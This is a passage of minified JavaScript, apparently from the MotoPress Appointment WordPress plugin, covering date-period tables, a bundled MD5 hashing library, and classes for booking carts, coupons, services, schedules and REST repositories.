this.$timeAllDayInput.prop("checked")||(e=60*parseInt(this.$endTimeHoursInput.val())+parseInt(this.$endTimeMinutesInput.val())),e}onAdd(){let e=this.getStartTime(),t=this.getEndTime();if(!(this.datepicker.selectedDates.length>=2)||e===t&&0!==t||e>t&&0!==t)return;let i=this.datepicker.selectedDates[0],s=this.datepicker.selectedDates[1],a=m(i,"internal")+" - "+m(s,"internal"),r=F(i,s,"short"),n=x(e,"internal")+" - "+x(t,"internal"),o=x(e)+" - "+x(t);0===e&&0===e&&e===t&&(o=c("All day","motopress-appointment")),this.addPeriod(a,n,r,o)}removePeriodByParent(e){let t=jQuery(e).parents("tr.mpa-period");if(0==t.length)return;let i=t.attr("data-id");this.periods.remove(i),this.periods.hasItems()||this.$noItemsRow.removeClass("mpa-hide"),t.remove()}}class K extends s{constructor(e){super(e),this.$table=this.$element.children("table"),this.$tableBody=this.$table.children("tbody"),this.$noItemsRow=this.$tableBody.children(".no-items"),this.$newPeriodRow=this.$tableBody.children(".mpa-new-period"),this.baseName=this.$element.attr("data-base-name"),this.datepicker=null,this.periods={length:0,add:function(e,t){let i=null==this[e];this[e]=t,i&&this.length++},remove:function(e){null!=this[e]&&(delete this[e],this.length--)},hasItems:function(){return this.length>0}},this.parseInitialState(),this.addListeners()}parseInitialState(){this.$tableBody.children(":not(.no-items, .mpa-new-period)").each(((e,t)=>{let i=t.getAttribute("data-id"),s=jQuery(t).find(".column-actions > input").val();this.periods.add(i,s)}))}initDatepicker(){this.datepicker=v(this.$tableBody.find(".mpa-new-period > .column-dates > input"),{mode:"range",showMonths:2})}addListeners(){let e=this;this.$table.find("thead .mpa-add-button").on("click",(()=>{this.toggleEdit()})),this.$tableBody.find(".mpa-add-button").on("click",(()=>{this.onAdd()})),this.$tableBody.find(".mpa-remove-button").on("click",(function(){e.removePeriodByParent(this)}))}toggleEdit(){this.$newPeriodRow.hasClass("mpa-hide")?(this.$newPeriodRow.removeClass("mpa-hide"),null==this.datepicker?this.initDatepicker():this.datepicker.clear()):this.$newPeriodRow.addClass("mpa-hide")}addPeriod(e,t){let i=C(),s=this.renderPeriod(i,e,t);jQuery(s).insertAfter(this.$newPeriodRow),this.periods.add(i,e);let a=this.$tableBody.find('[data-id="'+i+'"] .mpa-remove-button'),r=this;a.on("click",(function(){r.removePeriodByParent(this)})),this.toggleEdit(),this.$noItemsRow.addClass("mpa-hide")}renderPeriod(e,t,i){let s="";return s+='<tr class="mpa-period" data-id="'+e+'">',s+='<td class="column-dates mpa-badge-new">',s+=i,s+="</td>",s+='<td class="column-actions">',s+='<input type="hidden" name="'+this.baseName+'[]" value="'+t+'">',s+=B(c("Remove","motopress-appointment"),{class:"button button-secondary mpa-remove-button"}),s+="</td>",s+="</tr>",s}onAdd(){if(this.datepicker.selectedDates.length<2)return;let e=this.datepicker.selectedDates[0],t=this.datepicker.selectedDates[1],i=m(e,"internal")+" - "+m(t,"internal"),s=F(e,t,"short");this.addPeriod(i,s)}removePeriodByParent(e){let t=jQuery(e).parents("tr.mpa-period");if(0==t.length)return;let i=t.attr("data-id");this.periods.remove(i),this.periods.hasItems()||this.$noItemsRow.removeClass("mpa-hide"),t.remove()}}function Y(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var q,J,G={exports:{}},X={exports:{}};q="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",J={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&J.rotl(e,8)|4278255360&J.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=J.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],i=0,s=0;i<e.length;i++,s+=8)t[s>>>5]|=e[i]<<24-s%32;return t},wordsToBytes:function(e){for(var t=[],i=0;i<32*e.length;i+=8)t.push(e[i>>>5]>>>24-i%32&255);return t},bytesToHex:function(e){for(var t=[],i=0;i<e.length;i++)t.push((e[i]>>>4).toString(16)),t.push((15&e[i]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],i=0;i<e.length;i+=2)t.push(parseInt(e.substr(i,2),16));return t},bytesToBase64:function(e){for(var t=[],i=0;i<e.length;i+=3)for(var s=e[i]<<16|e[i+1]<<8|e[i+2],a=0;a<4;a++)8*i+6*a<=8*e.length?t.push(q.charAt(s>>>6*(3-a)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],i=0,s=0;i<e.length;s=++i%4)0!=s&&t.push((q.indexOf(e.charAt(i-1))&Math.pow(2,-2*s+8)-1)<<2*s|q.indexOf(e.charAt(i))>>>6-2*s);return t}},X.exports=J;var Z=X.exports,ee={utf8:{stringToBytes:function(e){return ee.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape(ee.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],i=0;i<e.length;i++)t.push(255&e.charCodeAt(i));return t},bytesToString:function(e){for(var t=[],i=0;i<e.length;i++)t.push(String.fromCharCode(e[i]));return t.join("")}}},te=ee,ie=function(e){return null!=e&&(se(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&se(e.slice(0,0))}(e)||!!e._isBuffer)};function se(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=Z,t=te.utf8,i=ie,s=te.bin,a=function(r,n){r.constructor==String?r=n&&"binary"===n.encoding?s.stringToBytes(r):t.stringToBytes(r):i(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,d=-1732584194,p=271733878,u=0;u<o.length;u++)o[u]=16711935&(o[u]<<8|o[u]>>>24)|4278255360&(o[u]<<24|o[u]>>>8);o[l>>>5]|=128<<l%32,o[14+(l+64>>>9<<4)]=l;var m=a._ff,g=a._gg,y=a._hh,v=a._ii;for(u=0;u<o.length;u+=16){var f=h,b=c,S=d,$=p;h=m(h,c,d,p,o[u+0],7,-680876936),p=m(p,h,c,d,o[u+1],12,-389564586),d=m(d,p,h,c,o[u+2],17,606105819),c=m(c,d,p,h,o[u+3],22,-1044525330),h=m(h,c,d,p,o[u+4],7,-176418897),p=m(p,h,c,d,o[u+5],12,1200080426),d=m(d,p,h,c,o[u+6],17,-1473231341),c=m(c,d,p,h,o[u+7],22,-45705983),h=m(h,c,d,p,o[u+8],7,1770035416),p=m(p,h,c,d,o[u+9],12,-1958414417),d=m(d,p,h,c,o[u+10],17,-42063),c=m(c,d,p,h,o[u+11],22,-1990404162),h=m(h,c,d,p,o[u+12],7,1804603682),p=m(p,h,c,d,o[u+13],12,-40341101),d=m(d,p,h,c,o[u+14],17,-1502002290),h=g(h,c=m(c,d,p,h,o[u+15],22,1236535329),d,p,o[u+1],5,-165796510),p=g(p,h,c,d,o[u+6],9,-1069501632),d=g(d,p,h,c,o[u+11],14,643717713),c=g(c,d,p,h,o[u+0],20,-373897302),h=g(h,c,d,p,o[u+5],5,-701558691),p=g(p,h,c,d,o[u+10],9,38016083),d=g(d,p,h,c,o[u+15],14,-660478335),c=g(c,d,p,h,o[u+4],20,-405537848),h=g(h,c,d,p,o[u+9],5,568446438),p=g(p,h,c,d,o[u+14],9,-1019803690),d=g(d,p,h,c,o[u+3],14,-187363961),c=g(c,d,p,h,o[u+8],20,1163531501),h=g(h,c,d,p,o[u+13],5,-1444681467),p=g(p,h,c,d,o[u+2],9,-51403784),d=g(d,p,h,c,o[u+7],14,1735328473),h=y(h,c=g(c,d,p,h,o[u+12],20,-1926607734),d,p,o[u+5],4,-378558),p=y(p,h,c,d,o[u+8],11,-2022574463),d=y(d,p,h,c,o[u+11],16,1839030562),c=y(c,d,p,h,o[u+14],23,-35309556),h=y(h,c,d,p,o[u+1],4,-1530992060),p=y(p,h,c,d,o[u+4],11,1272893353),d=y(d,p,h,c,o[u+7],16,-155497632),c=y(c,d,p,h,o[u+10],23,-1094730640),h=y(h,c,d,p,o[u+13],4,681279174),p=y(p,h,c,d,o[u+0],11,-358537222),d=y(d,p,h,c,o[u+3],16,-722521979),c=y(c,d,p,h,o[u+6],23,76029189),h=y(h,c,d,p,o[u+9],4,-640364487),p=y(p,h,c,d,o[u+12],11,-421815835),d=y(d,p,h,c,o[u+15],16,530742520),h=v(h,c=y(c,d,p,h,o[u+2],23,-995338651),d,p,o[u+0],6,-198630844),p=v(p,h,c,d,o[u+7],10,1126891415),d=v(d,p,h,c,o[u+14],15,-1416354905),c=v(c,d,p,h,o[u+5],21,-57434055),h=v(h,c,d,p,o[u+12],6,1700485571),p=v(p,h,c,d,o[u+3],10,-1894986606),d=v(d,p,h,c,o[u+10],15,-1051523),c=v(c,d,p,h,o[u+1],21,-2054922799),h=v(h,c,d,p,o[u+8],6,1873313359),p=v(p,h,c,d,o[u+15],10,-30611744),d=v(d,p,h,c,o[u+6],15,-1560198380),c=v(c,d,p,h,o[u+13],21,1309151649),h=v(h,c,d,p,o[u+4],6,-145523070),p=v(p,h,c,d,o[u+11],10,-1120210379),d=v(d,p,h,c,o[u+2],15,718787259),c=v(c,d,p,h,o[u+9],21,-343485551),h=h+f>>>0,c=c+b>>>0,d=d+S>>>0,p=p+$>>>0}return e.endian([h,c,d,p])};a._ff=function(e,t,i,s,a,r,n){var o=e+(t&i|~t&s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._gg=function(e,t,i,s,a,r,n){var o=e+(t&s|i&~s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._hh=function(e,t,i,s,a,r,n){var o=e+(t^i^s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._ii=function(e,t,i,s,a,r,n){var o=e+(i^(t|~s))+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,G.exports=function(t,i){if(null==t)throw new Error("Illegal argument "+t);var r=e.wordsToBytes(a(t,i));return i&&i.asBytes?r:i&&i.asString?s.bytesToString(r):e.bytesToHex(r)}}();var ae=Y(G.exports);class re{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?m(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?m(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&m(this.date,"internal")==m(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(E(t.minCapacity,t.maxCapacity));return k(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return ae(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let ne=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let i=!this.includesKey(e);return this.values[e]=t,i&&(this.keys.push(e),this.length++),i}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let i=this.findNextKey(e);return""!==i?this.values[i]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let i=t+1;return i<this.length?this.keys[i]:this.keys[t]}findPrevious(e,t=null){let i=this.findPreviousKey(e);return""!==i?this.values[i]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let i=t-1;return i>=0?this.keys[i]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let i=this.keys.indexOf(e);return this.keys.splice(i,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let i of this.keys){let s=this.values[i][e];null!=s&&(Array.isArray(s)?t=t.concat(s):t.push(s))}return k(t)}forEach(e){let t=0;for(let i of this.keys){let s=e(this.values[i],t,i,this);if(t++,!1===s)break}}map(e){let t=[],i=0;for(let s of this.keys)t.push(e(this.values[s],i,s,this)),i++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}};class oe{setupProperties(){this.items=new ne,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=""){e||(e=C());let t=new re(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let i of e)t+=i.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let i=t.getPrice();this.hasCoupon()&&(i-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(i)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),h().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return ae("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||y()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=k(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class le{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class he extends le{setupProperties(){super.setupProperties(),this.name=""}}class ce extends le{setupProperties(){super.setupProperties(),this.name=""}}class de extends le{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let i=this.getVariation("price",e,this.price);return this.multiplyPrice&&(i*=t),i}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,i){return t in this.variations?this.variations[t][e]:i}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():c("Clients","motopress-appointment")}}class pe{static loadInBackground(e,t,i=!1){return t.findById(e.id,i).then((t=>{if(null!==t)for(let i in t)e[i]=t[i];return t}))}}class ue extends le{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let i=e[t];null!=i&&""!==i&&(this[t]=g(i)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let i=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=i*this.amount/100}t=Math.min(t,i)}return t}}class me{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let i=this.mapRestDataToEntity(t);return this.saveEntity(e,i),i}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let i=[],s=[];for(let a of e)this.haveEntity(a)&&!t?s.push(this.getEntity(a)):i.push(a);return 0===i.length?Promise.resolve(s):this.requestEntities(i).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),s.push(e)}return s}),(e=>[]))}requestEntity(e){return n(this.getRoute(),{id:e})}requestEntities(e){return n(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class ge extends me{findByCode(e,t=!1){return n(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new ue(e.id,e)}}class ye{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?M(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?M(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new ye(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new ye(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let i="short"==e?"public":e,s=A(this.startTime,i),a=A(this.endTime,i);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&s===a?c("All day","motopress-appointment"):"short"==e&&s==a?s:s+t+a}}class ve extends le{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?g(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new ye(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new ye(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class fe extends me{mapRestDataToEntity(e){return new ve(e.id,e)}}class be{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?g(e)||y():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=g(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let i=m(t,"internal"),s=new Date(t);e[i]=s}return e}toString(){return m(this.startDate,"internal")+" - "+m(this.endDate,"internal")}}class Se extends le{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],i=[];e.forEach((e=>{let s=new ye(e.time_period);t.push({time_period:s,location:e.location,activity:e.activity}),"work"==e.activity&&i.push({time_period:s,location:e.location})})),this.timetable.push(t),this.workTimetable.push(i)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new be(t.date_period),time_period:new ye(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new be(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=m(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=g(e)),null==e)return[];let i=[],s=e.getDay();for(let e of this.workTimetable[s])0!=t&&e.location!=t||i.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&i.push(t.time_period);return i}}class $e extends me{mapRestDataToEntity(e){return new Se(e.id,e)}}class Ie extends me{mapRestDataToEntity(e){return new de(e.id,e)}}class we{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new $e("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new Ie("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new fe("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new ge("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==we.instance&&(we.instance=new we),we.instance}}function Te(){return we.getInstance()}let _e=null;function Ce(e,t){const i=[];for(const s of e){const e=t.includes(s.slug),a=Array.isArray(s.children)?s.children:[],r=a.length?Ce(a,t):[];(e||r.length>0)&&i.push({...s,children:r})}return i}function ke(e){let t=[];for(const i of e)i.slug&&t.push(i.slug),Array.isArray(i.children)&&(t=t.concat(ke(i.children)));return t}function Pe(e,t=[],i=null,s=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var i,s;return(null!==(i=r.get(e.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)-(null!==(s=r.get(t.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(i)&&!i.includes(e.slug)||(a.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(s)+e.name}),Array.isArray(e.children)&&a.push(...Pe(e.children,t,i,s+1)));return a}function De(e){return b(e)}class Ee{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return 